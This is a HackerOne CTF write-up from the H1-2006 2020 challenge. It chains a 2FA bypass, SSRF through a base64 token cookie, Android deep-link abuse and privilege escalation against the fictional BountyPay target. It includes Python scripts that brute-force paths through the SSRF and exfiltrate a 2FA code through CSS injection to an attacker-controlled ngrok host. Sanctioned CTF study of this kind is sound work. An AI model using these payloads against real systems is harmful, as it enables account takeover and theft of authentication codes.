Loading HuntDB...

[H1-2006 2020] Exploiting multiple vulnerabilities to get hacker's payment ensured

Critical
H
h1-ctf
Submitted None
Reported by hecsv17

Vulnerability Details

Technical details and impact analysis

Improper Privilege Management
Last week, Hackerone’s CEO Marten lost his credentials for BountyPay. A tweet from hackerone’s official twitter account asked for help from ethical hackers and bounty hunters to help the CEO recover his credentials and insure May’s payments. As an active bug hunter on Hackerone, I decided to take on this challenge. Hey, in these times of pandemic induced quarantine, I can’t afford not to get payed for my BB hunting! Plus it’s a win-win: I get to get payed for my due bounties through the platform, and Marten gets the works done. And we can tweet the famous “togetherWeHitHarder” tweet again. So let’s get this done. # Recon: As per the usual, I started by doing a subdomain enumeration on `bountypay.h1ctf.com`, since the scope is wildcard and we want to have a vantage point on all the subdomains available on that target. That is how I discovered the five subdomains: www, app, staff, api and software. I started a visual recon alongside with content discovery on each one of the subdomains. From what I saw, I could make the following assumptions: 1. www: is the main domain and doesn’t have any further access, it’s only for marketing and communication purposes; 2. api: a REST api with JSON output, that controls all BountyPay’s services in one place; 3. staff: is the area where BountyPay’s staff can login and communicate with each other; 4. software: is where the company shares useful software with its staff and customers and the access is IP-based; 5. app: is the main application where companies can log in and make bounty payments. Fuzzing on all the subdomains returned no results (Bummer...), except for app.bountypay.h1ctf.com which exposes some juicy hidden git files. (Cha-ching!) {F861464} #The adventure starts: I downloaded all the files in the git directory, and found the following repository `https://github.com/bounty-pay-code/request-logger.git` in the config file. Inside that repository, was a file named logger.php which stores data (IP, URI, METHOD and Params) from the server in a php array, which is then encoded by json then base64 and the output is stored in the `bp_web_trace.log` file. Hence, the obvious next step: base64-decoding the said log file. And by doing so I came across a way in: thank you brian.oliver. {F861466} After successfully using the leaked credentials to login with brian, I hit 2FA. I tried to bypass this by sending any random ten characters alongside the challenge code inside the POST request, Miss.. So I tried another approach: send any random characters with its correspondent MD5 hash, and apparently, the backend didn’t check for the validity nor the length of the sent code, it only validates if the challenge_answer parameter and the MD5 value of challenge field match. `Long story short: Bull’s eye !` {F861468} #Finding my way to Rome: Browsing the application, I could only see that it shows the transactions made by the current user and those were sorted by month. I also noticed that a cookie named token is assigned to the session that i logged into. By Base64-decoding this cookie, I find it is composed of two parts: `account_id` and hash which is NOT the MD5 hash of the provided account id. I tried to inject some SQL queries into the account_id parameter since there was a twitter account named @BountypayH advising to “always check for SQLi”. But no luck! I also noticed that sending any hash other than the one in the first request will not get any result back from the server. At this point of the challenge I didn’t have more options to play with. So, I went back to the git repository and tried to get more information from it, but like a wise man once said, “been here, done that” so I quickly moved to test more hypothesis. The `account_id` parameter seems to be random so I couldn’t predict or bruteforce any other valid value. But reviewing Burp history, I noticed an interesting response from the server: when the transaction button is hit, the application makes a request to `api.bountypay.h1ctf.com` and gets the results of the user’s transactions at the following endpoint: `/api/accounts/F8gHiqSdpK/statements?month=01&year=2020. ` At this stage, I started to play again with `account_id` value in order to understand how the api processes the input values. So I base64-encoded the following input: 
 ```{"account_id":"F8gHiqSdpK/statements/?","hash":"de235bffd23df6995ad4e0930baac1a2"} ``` 
and sent it as the “token” cookie to “statements” endpoint. I got the following response: `"data":"[\"Month and Year must be set\"]"}` which indicates that I got my hands on some sort of an SSRF that can potentially give me access to the api without needing any credentials. However, since the account_id parameter is random, I couldn’t exploit it this way… Fortunately, while doing the initial recon I had noticed that access to software subdomain is filtered by IP address (so it probably authorized requests from api). I also found a limited open redirect on api platform at redirect endpoint which redirects to `www.google.com` and some `bountypay.h1ctf.com` subdomains. To chain all this information, I had to check if I could hit redirect endpoint from statements endpoint at `app.bountypay.h1ctf.com`. After trial and error I managed to achieve this through the following input: ```{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/?","hash":"de235bffd23df6995ad4e0930baac1a2"} ``` {F861469} #Ciao Bella! At this point I had access to software subdomain but it was protected by an authentication page, and since I couldn’t send credentials in GET requests, the only option I had left was to brute force files and directories to see if I could get unrestricted access to some resources. Using the below python script, I was able to find uploads directory in which I found BountyPay.apk. Began the chapter “Attack on Android”.. ``` from base64 import b64encode import requests url = "https://app.bountypay.h1ctf.com/statements?year=2020&month=04" cookies = {} for s in open('wordlist', 'r').read().split('\n'):     token = '{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/%s?","hash":"de235bffd23df6995ad4e0930baac1a2"}' %s     token = b64encode(token)     cookies["token"] = token     r = requests.get(url, cookies = cookies, verify=True)     if "Not Found" not in r.text:         print token         print r.text ``` #Attack on Android: ##Part 1: I downloaded the apk file by visiting `https://software.bountypay.h1ctf.com/uploads/BountyPay.apk` When I ran the app on my Android, It offered no interesting content, I tried to capture traffic but nothing was going on, So I decided to dig deeper. I decompiled it using apktool, and read java code using Jd-GUI. After a close look at the app source code and the `AndroidManifest.xml`, I noticed three main activities, each of them are invoked through a particular scheme (one,two and three respectively), and all of which had a common host=part. After a user is registred to the app with her/his username and twitter handle, the MainActivity will create a user_created file and store this information in user shared preferences directory. The code responsible for the validation of the first part is as below: ``` String str = getIntent().getData().getQueryParameter("start");       if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) ``` The first part is about sending a deep link which contains start as parameter and a value of PartTwoActivity. To further inspect the contents of the app, I decided to host this code in my server and visited the link from my android device: ``` <html> <font size="10"><center><a href="one://part?start=PartTwoActivity">hack them all</a></center> </font> </html> ``` Which led me to Part 2. ##Part 2: From the PartTwoActivity’s source code I noticed that an intent is created and is waiting for two parameters to make its text visible. I visited the following page with those two parameters: `two=light` and `switch=on` ``` <html> <font size="10"><center><a href="two://part?two=light&switch=on">hack them all</a></center> </font> </html> ``` After hitting this link, I could see an input text that expects a new value in order to validate this part (the provided value is the MD5 hash of “token” string). The `submitInfo` method has a listener on `childRef` instance which points to “header” value. On the same method, there is a public method named `onDataChange` which compares str1 and str2 strings and validate this part by writing “PARTTWO:COMPLETE” in created_user file. After entering “X-Token” value into the text field and hitting submit, Part 2 was validated. ##Part 3: I noticed in `PartThreeActivity` that an intent is waiting for a base64 encoded values for three and switch parameters to be `UGFydFRocmVlQWN0aXZpdHk=` and `b24=` respectively. To validate this part, I needed to invoke `submitHash` method which will then invoke `correctHash` method that will trigger the `CongratsActivity`. The `submitHash` is waiting for the value of header which is no other than the value of “TOKEN” in created_user.xml file. ``` generic_x86:/data/data/bounty.pay/shared_prefs # cat user_created.xml                                                                                                <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map>     <string name="PARTTWO">COMPLETE</string>     <string name="USERNAME">hecsv</string>     <string name="HOST">http://api.bountypay.h1ctf.com</string>     <string name="PARTONE">COMPLETE</string>     <string name="TWITTERHANDLE">@hecsv</string>     <string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string> </map> ``` Now, let’s get serious. #Give to Marten what belongs to Marten: ##Infiltrating the staff: After the Android surrendered the TOKEN, I used it to communicate with the REST api. That is how I discovered the “api/staff” endpoint which gave me info on two staff members: Sam and Brian. I changed GET to POST method to see when it could get me, but it returned ["Missing Parameter"], which indicated that I needed another parameter to create a new staff member. The GET method gives me the name of the missing parameter: `name` and `staff_id`. But even then, I couldn’t create any valid account since it was looking for a valid `staff_id` parameter. Then a hint from the CTF creators came to the rescue. Sandra Allison which is a newly recruited staff was very happy to join BountyPay company and her tweet offered us valuable information. Her badge was showing her staff id which was the missing piece of the puzzle. Using her credentials, I was able to login to `https://staff.bountypay.h1ctf.com` {F861470} ##Privilege escalation: After playing around with the staff application I figured I had the following options: updating the profile and avatar, contacting admin through support section but comments were disabled and reporting any page to the admin which will be visited by the admin (except if the page started with /admin). I have tried many attacks at this stage: × sending blind XSS payloads when reporting from all pages × modifying avatar name to xss payloads (but good filters were implemented) × changing my name to “admin” × trying to report a page that will update my account’s rights to admin but without starting with admin endpoint `https://staff.bountypay.h1ctf.com/admin/report?url=Ly4uL0FETUlOL3VwZ3JhZGU/dXNlcm5hbWU9c2FuZHJh` (/../ADMIN/upgrade?username=sandra). All of this was useless, so I had to change my approach. Back to the staff application, I found an interesting javascript file located at: `https://staff.bountypay.h1ctf.com/js/website.js`. A deep analysis of this file showed me that visiting `URL/#tab4` will load the hash location of that page and trigger any existing function on that page `($(".tab4").trigger("click")))`. Since I wanted to trigger the `upgradeToAdmin` function, I needed a place to insert `tab4` and `upgradeToAdmin` so when I visited this page the function be triggered. Avatar name seemed like a good place to inject that payload since it will be reflected inside avatar class: ```<div style="margin:auto" class="avatar tab4 upgradeToAdmin"></div>``` I then visited this link `https://staff.bountypay.h1ctf.com/#tab4` and indeed a GET request is sent to `admin/upgrade?username=undefined`. Here username is set to undefined because we don’t have a field with this name. After looking for a page that reflects username I discovered the following page: `https://staff.bountypay.h1ctf.com/?template=login&username=sandra.allison`. At this point, I needed to chain these two findings, so I tried to load the two templates (home and login) on the same page using the fact that query string accepts an array parameter. So, the following request did the trick for me: `https://staff.bountypay.h1ctf.com/?template[]=home&template[]=login&username=sandra.allison` Finally, to update Sandra’s rights to become an “admin” I sent following request: `https://staff.bountypay.h1ctf.com/?template[]=home&template[]=login&username=sandra.allison#tab4` {F861471} After I got admin access, I found Marten’s password stored in plaintext: `h&H5wy2Lggj*kKn4OD&Ype` You’re welcome, Marten! #Injecting the uninjectable! After logging in with Marten password on `https://app.bountypay.h1ctf.com`, I bypassed the 2FA mechanism the same way as before. Wow! I got a smile on my face, I can make the payment now and get the flag and the invite to h1-2006 event. Wait! A 2FA challenge again is needed to make the payment, my bad! Well, after some recon on that part I found that we had two minutes to send a seven-character long `challenge_answer`. Brute forcing here is not a wise option since we are in lack of resources and time. I tried to send a random string with its MD5 as challenge but the challenge seems to be far more complicated. I took a step back, and noticed that `app_style` parameter is sent with a POST request when we hit the “send challenge” button. I immediately fired up my VPS and got a hit from the server with the following `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36`. A blind SSRF in this context seems to be not applicable. I took a close look at the CSS file that the application is loading when visiting that link, it’s applying some styles to the body and branding “div”. So, what if I host the same file but with different value in the background-color? The response was unexpected, there were no changes applied to the background of the current page! So, I made the assumption that changes are happening server side. After doing some research I came across a nice article by `d0nut` explaining CSS injection attacks `(https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d)` To prove the existence of this vulnerability, I used the following css: ``` *[class*=challenge]~*{         background:url(https://xyz.ngrok.io/challenge); } ``` This code proves the existence of a class with name challenge. I needed to find the input that will contain the code that is generated by the server, I assumed that that input would start with “code” (since the challenge page is talking about sending a code) and sent the following CSS: ``` input[name^=code]{         background:url(https://xyz.ngrok.io/code); } ``` After doing some brute force on the code name, I figured out that we have seven input in the form of `“code_X”` with X within [1-7]. #The final exploit: I use the following python script to generate a css file that contains all possible alphanumeric strings combined with each code position and send them to the server, if a value exists for a particular code, the server will request our vps with `position/code_x_value`, then we parse our logs to get the whole code value . After getting the correct code,a POST request is sent through our proxy and a wonderful congratulation is printed back with the final ==FLAG=^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$== ``` import string import requests import os, re from time import sleep ngrok = "https://3369b146412e.ngrok.io/" url = "https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba" cookies = {"token":"eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9"} proxies = {"http":"http://localhost:8080","https":"https://localhost:8080"} css_url = ngrok+"tosend.css" data = {"app_style":css_url} nums = [0,1,2,3,4,5,6,7,8,9] alphanums = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+/=-_&@*$ " regex_challenge = 'name="challenge" value="([a-zA-Z0-9]{32})"' regex_timeout = 'name="challenge_timeout" value="([0-9]+)"' num = [1,2,3,4,5,6,7] def generate_css():     out = ''     payload4value = '''     input[name^=code_%i][value="%s"]{         background: url(%s%s);     }'''     for i in num: for j in alphanums:         out += payload4value %(i,j,ngrok+str(i)+"/",j)         out += '\n'          f=open('tosend.css','w')     f.write(out)     f.close() def execute_attack(): generate_css() r = requests.post(url, data=data, verify=True, cookies=cookies) sleep(5) cmd = 'tail -n7 /private/var/log/apache2/access_log |cut -d" " -f7 |sort >/tmp/hh.txt && for i in `cat /tmp/hh.txt`; do echo $i |cut -d/ -f3;done| awk "{print}" ORS=""' code = os.popen(cmd).read() challenge = re.search(regex_challenge, r.text).group(1)         timeout = re.search(regex_timeout, r.text).group(1) challenge_data={"challenge_timeout":timeout, "challenge":challenge, "challenge_answer":code}         r = requests.post(url, data=challenge_data, verify=False, cookies=cookies, proxies=proxies) execute_attack() ``` {F861472} ## Impact #Finally I want to thank you for this amazing CTF, and looking forward to CTFs to come!

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Improper Privilege Management